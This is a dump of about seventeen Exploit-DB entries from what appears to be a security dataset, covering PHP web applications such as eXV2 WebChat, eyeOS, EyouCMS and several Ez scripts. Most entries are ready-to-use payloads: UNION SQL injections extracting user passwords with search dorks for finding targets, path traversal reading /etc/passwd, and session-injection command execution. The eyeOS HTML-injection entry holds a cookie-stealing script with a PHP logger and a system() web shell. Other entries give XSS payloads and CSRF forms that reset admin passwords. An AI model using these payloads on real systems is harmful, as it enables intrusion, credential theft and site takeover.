deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5255
Description: eXV2 Module WebChat 1.60 - 'roomid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-14
Author: S@BUN

Exploit:
##########################################
#
# Powered by eXV2 WebChat 1.60 SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORKS 1 : allinurl :"modules/WebChat"
#
###########################################
EXPLOIT 1 :

modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201

###########################################
WebChat 1.60
Submit date: 2006/6/13
Homepage: www.exv2.de
Version : 1.60
Downloads : 561
Filesize : 79.76 KB
Supported platforms : eXV2
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

# milw0rm.com [2008-03-14]
Exploit-DB #13858
Description: Eyeland Studio Inc. - 'game.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-13
Author: CoBRa_21

Exploit:
##################################################################################################

Eyeland Studio Inc. (game.php) SQL Injection Vulnerability

##################################################################################################

Author : CoBRa_21

Script Home : http://www.eyeland.com/

Dork : "Eyeland Studio Inc. All Rights Reserved." inurl:game.php

##################################################################################################

SQL Injection:

http://localhost/[path]/game.php?id=-1+union+select+1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+users--

##################################################################################################
For Palestine...........
##################################################################################################
Exploit-DB #13855
Description: Eyeland Studio Inc. - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-13
Author: Mr.P3rfekT

Exploit:
Title: Eyeland Studio Inc. SQL Injection Vulnerability
# Version: 2.0
# Author: Mr.P3rfekT
# Software Site:http://www.eyeland.com/
# Tested on Lunix
# CVE : N/A
# Home :www.realmadridsy.com & www.v4-team.com/cc
############### Founded By Mr.P3rfekT ##############


# Dork :"Eyeland Studio Inc. All Rights Reserved."

# Helllo Allz.



# Exploit :

http://[site]/path/play.php?id={SQLi}



#Poc :
union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


# Poc:

union select 1,2,3,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


# Demo:
http:www.site.com/path/play.php?id=-25union select 1,2,3,login,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from users


./done.


Mail : R4p@hotmail.com

Greeeeeeeeeeeeeetz : Cyb3r-DeViL , V4-team.com/cc Members Except Some Lammerz Cheaters They Know Them Self Muhahaha
Exploit-DB #40227
Description: EyeLock nano NXT 3.5 - Local File Disclosure
Type: webapps
Platform: php
Date: 2016-08-10
Author: LiquidWorm

Exploit:
EyeLock nano NXT 3.5 Local File Disclosure Vulnerability


Vendor: EyeLock, LLC
Product web page: http://www.eyelock.com
Affected version: NXT Firmware: 3.05.1193 (ICM: 3.5.1)
                  NXT Firmware: 3.04.1108 (ICM: 3.4.13)
                  NXT Firmware: 3.03.944  (ICM: 3.3.2)
                  NXT Firmware: 3.01.646  (ICM: 3.1.13)

Platform: Hardware (Biometric Iris Reader (master))

Summary: Nano NXT is the most advanced compact iris-based identity authentication device
in Eyelock's comprehensive suite of end-to-end identity authentication solutions.
Nano NXT is a miniaturized iris-based recognition system capable of providing
real-time identification, both in-motion and at a distance. The Nano NXT is an
ideal replacement for card-based systems, and seamlessly controls access to turnstiles,
secured entrances, server rooms and any other physical space. Similarly the device
is powerful and compact enough to secure high-value transactions, critical databases,
network workstations or any other information system.

Desc: nano NXT suffers from a file disclosure vulnerability when input passed thru the
'path' parameter to 'logdownload.php' script is not properly verified before being used
to read files. This can be exploited to disclose contents of files from local resources.

==================================================================================
/scripts/logdownload.php:
-------------------------
1: <?php 
2:    header("Content-Type: application/octet-stream");
3:    header("Content-Disposition: attachment; filename={$_GET['dlfilename']}");
4:    readfile($_GET['path']);
5: ?>
==================================================================================

Tested on: GNU/Linux (armv7l)
           lighttpd/1.4.35
           SQLite/3.8.7.2
           PHP/5.6.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                             @zeroscience


Advisory ID: ZSL-2016-5356
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5356.php


10.06.2016

--


http://192.168.40.1/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd
Exploit-DB #27166
Description: eyeOS 0.8.x - Session Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-07
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/16537/info

The eyeOS system is prone to a remote command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary commands in the context of the webserver process.

This issue affects eyeOS version 0.8.9 and earlier. 

http://www.example.com/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION[usr]=root&_SESSION[apps][eyeOptions.eyeapp][wrapup]=phpinfo();
Exploit-DB #35677
Description: eyeOS 1.9.0.2 - Image File Handling HTML Injection
Type: webapps
Platform: php
Date: 2011-04-25
Author: Alberto Ortega

Exploit:
source: https://www.securityfocus.com/bid/47629/info

eyeOS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input passed through image content before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

Versions prior to eyeOS 1.9.0.3 are vulnerable. 

<!doctype html>
<script>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);
http.send("");
</script>

<?php
$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");
?>

<?php
system($_GET['cmd']);
?>
Exploit-DB #17220
Description: eyeos 1.9.0.2 - Persistent Cross-Site Scripting Using Image Files
Type: webapps
Platform: php
Date: 2011-04-28
Author: Alberto Ortega

Exploit:
Title: eyeOS <= 1.9.0.2 Stored XSS vulnerability using image files
Product: eyeOS <= 1.9.0.2
Author: Alberto Ortega @a0rtega alberto[at]pentbox[dot]net
        http://securitybydefault.com/

- Summary:

A stored XSS vulnerability using image files (jpg, png, gif tested) affects to eyeOS 1.9.0.2 version, older versions are probably affected too. eyeOS 2.x branch doesn't seem to be affected.

- Attack vector:

eyeOS is a virtual desktop where you can store files (besides other amazing stuff). The filetype is determined by the extension (in example .txt or .jpg).

When the user opens an image file in eyeOS, a new html frame is opened with the image file.

It's ok, the problem is that we can upload files that aren't images with an image extension, and it will be opened in a frame too. That means that we can upload a HTML file (with JS inside, why not?) and it will be opened in a new frame when an user click on it.

Stored XSS is done.

- PoC file:

$ file xss.jpg
xss.jpg: HTML document text
$ cat xss.jpg
<!doctype html>
<script>alert("XSS done");</script>

- Risks and consequences:

Malicious users can inject code inside image files (malware, browser exploits, etc...) to attack other users and compromise the whole system via shared files or internal messages.

- Mitigations:

Disallow public dirs.

Avoid work with images.

- Solution:

Verify on the server side that the file extension matchs with the filetype before store it in the system.
Exploit-DB #17127
Description: eyeos 2.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-06
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................eyeOS 2.3
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.eyeos.org/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in eyeOS 2.3 can be exploited to
include arbitrary files.


--PoC--

http://localhost/eyeos/devtools/qooxdoo-sdk/framework/source/resource/qx/test/part/delay.php?sleep=0&file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini

------------------------------------------------------------------------
Software................eyeOS 2.3
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://www.eyeos.org/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in eyeOS 2.3 can be
exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/eyeos/devtools/qooxdoo-sdk/framework/source/resource/qx/test/jsonp_primitive.php?callback=%3Cscript%3Ealert%280%29%3C%2fscript%3E
Exploit-DB #48530
Description: EyouCMS 1.4.6 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-05-28
Author: China Banking and Insurance Information Technology Management Co.

Exploit:
# Exploit Title: EyouCMS 1.4.6 - Persistent Cross-Site Scripting
# Date: 2020-05-28
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
# Vendor Homepage: https://eyoucms.com
# Software Link: https://qiniu.eyoucms.com/EyouCMS-V1.4.6-UTF8-SP2.zip
# Version: EyouCMS V1.4.6
# Tested on: Windows
# CVE : N/A

Vulnerable Request:
POST /EyouCMS/index.php?m=user&c=UsersRelease&a=article_add HTTP/1.1
Host: 192.168.31.244
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.31.244
Referer: http://192.168.31.244/EyouCMS/index.php?m=user&c=UsersRelease&a=article_add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: users_id=4; home_lang=cn; admin_lang=cn; PHPSESSID=mahba3d6smn8d400pedi9n9gl0; referurl=http%3A%2F%2F192.168.31.244%2FEyouCMS%2Findex.php
Connection: close

title=test&typeid=9&tags=&litpic_inpiut=&addonFieldExt%5Bcontent%5D=111<img src=1 onerror=alert(document.cookie)>&__token__=b90d4bf2356b81f[PII_REDACTED]7b91ada



王新峰    技术管理部
中国银行保险信息技术管理有限公司
Exploit-DB #18438
Description: Ez Album - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-01-31
Author: Red Security TEAM

Exploit:
# 
# Title     : Ez Album Blind SQL Injection Vulnerability
# Author    : Red Security TEAM
# Date      : 31/01/2012
# Risk      : High
# Demo      : http://www.scriptsez.com
# Tested On : CentOS
# Contact   : Info [ 4t ] RedSecurity [ d0t ] COM
# Home      : http://RedSecurity.COM
#
# Exploit   :
# http://server/album/index.php?action=view&id=[BlindSQLi]
#
Exploit-DB #34319
Description: Ez Cart - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-14
Author: anti-gov

Exploit:
source: https://www.securityfocus.com/bid/41696/info

Ez Cart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 


The following example URI is available:

http://www.example.com/ezcart_demo/index.php?action=showcat&cid=1&sid="><script>alert(1)</script>
Exploit-DB #33400
Description: Ez Cart - 'sid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-14
Author: anti-gov

Exploit:
source: https://www.securityfocus.com/bid/37311/info

Ez Cart is prone to is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/index.php?action=showcat&cid=1&sid=[XSS]
Exploit-DB #10454
Description: Ez Faq Maker - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-15
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez Faq Maker Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 15. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez Faq Maker
[#] Version: 1.0
[#] Platform: PHP
[#] Link: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=[PII_REDACTED]
[#] Price: 24 USD
[#] Vulnerability: XSS And Multiple XSRF Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--XSS in front end
 |--Admin Panel
 |  |--Remove category by id
 |  |--Remove faq by id
 |  |--Change admin info

[-]XSS in front end

[POC----------------------------------------------------------------------------------------------]
http://localhost/faq/index.php?action=showcat&cid=8&sid="[XSS]
http://localhost/faq/index.php?action=showcat&cid=8&sid="
[POC----------------------------------------------------------------------------------------------]

[#]Admin Panel

[-]Remove category by id

[POC----------------------------------------------------------------------------------------------]
http://localhost/faq/admin.php?action=categories&do=delete&op=[ID]
[POC----------------------------------------------------------------------------------------------]

[-]Remove faq by id

[POC----------------------------------------------------------------------------------------------]
http://localhost/faq/admin.php?action=delete&id=[ID]
[POC----------------------------------------------------------------------------------------------]

[*]Change admin info

When i opened this section of admin panel i noticed that in url there
was this: &sid=7e52dbb283b4515b82663d6c82f9b67d
at first i thought that there's cross site request forgery protection,
but then i realized that script programmer put that there just for
show, it doesn't do anything. I've first change the value of sid
parameter and script worked just fine, then i removed entire sid from
url, and script still worked fine. When i tested the next exploit it
worked fine, but if you encounter any problems just change form action
and add the sid i posted couple lines ago.

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/faq/admin.php?action=admin_opt" method="post">
  <input type="hidden" name="email" value="my@newemail.com">
  <input type="hidden" name="password" value="hacked">
  <input type="hidden" name="company" value="hacked company">
  <input type="hidden" name="add" value="true">
  <input type="submit" name="submit" value=" CHANGE ">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF
Exploit-DB #10420
Description: Ez Guestbook 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
[-------------------------------------------------------------------------------------------------]
[   Title: Ez Guestbook 1.0 Multiple Vulnerabilities
                           ]
[   Author: Milos Zivanovic
                           ]
[   Email: milosz.security[at]gmail.com
                           ]
[   Date: 14. December 2009.
                           ]
[-------------------------------------------------------------------------------------------------]

[-------------------------------------------------------------------------------------------------]
[   Application: Ez Guestbook
                           ]
[   Version: 1.0
                           ]
[   Link: http://www.scriptsez.net/?action=details&cat=Guestbooks&id=[PII_REDACTED]
                 ]
[   Price: 10 USD
                           ]
[   Vulnerability: Cross Site Request Forgery
                           ]
[-------------------------------------------------------------------------------------------------]

Ez Guestbook script version 1.0 suffers from multiple vulnerabilities:

[#]Content
 |--Change admin password
 |--Remove post by ID

[*]Change admin password

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/ez_gb/admin.php?action=change_password"
method="post">
  <input type="hidden" name="admin_password" value="hacked">
  <input type="hidden" name="c_admin_password" value="hacked">
  <input type="hidden" name="add" value="true">
  <input type="submit" name="submit" value=" CHANGE ">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[+]Remove post by ID

[POC----------------------------------------------------------------------------------------------]
http://localhost/ez_gb/admin.php?action=view&do=delete&id=[ID]
[POC----------------------------------------------------------------------------------------------]

[----------------------------------------------EOF------------------------------------------------]
Exploit-DB #27029
Description: EZ Invoice Inc. EZI 2.0 - 'Invoices.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-25
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16133/info

EZI is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ezi/invoices.php?i=[SQL]
Exploit-DB #10452
Description: Ez News Manager / Pro - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2009-12-15
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez News Manager / Pro - XSRF Change Admin Password
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 15. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez News Manager / Ez News Manager Pro
[#] Version: 1.0
[#] Platform: PHP
[#] Link[Pro]: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=[PII_REDACTED]
[#] Price: 15 USD
[#] Link: http://www.scriptsez.net/?action=details&cat=News%20Publishing&id=[PII_REDACTED]
[#] Price: 10 USD
[#] Vulnerability: XSRF Change Admin Password
[#-----------------------------------------------------------------------------------------------#]

Ez News Manager and Ez News Manager Pro scripts lack of cross site
request forgery protection, allowing us to make exploit to change
admin password. This exploit works with both scripts:

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://server/enmp/admin.php?action=change_password"
method="post">
  <input type="hidden" name="n_pwd" value="hacked">
  <input type="hidden" name="new_pwd" value="hacked">
  <input type="submit" name="submit" value="Submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF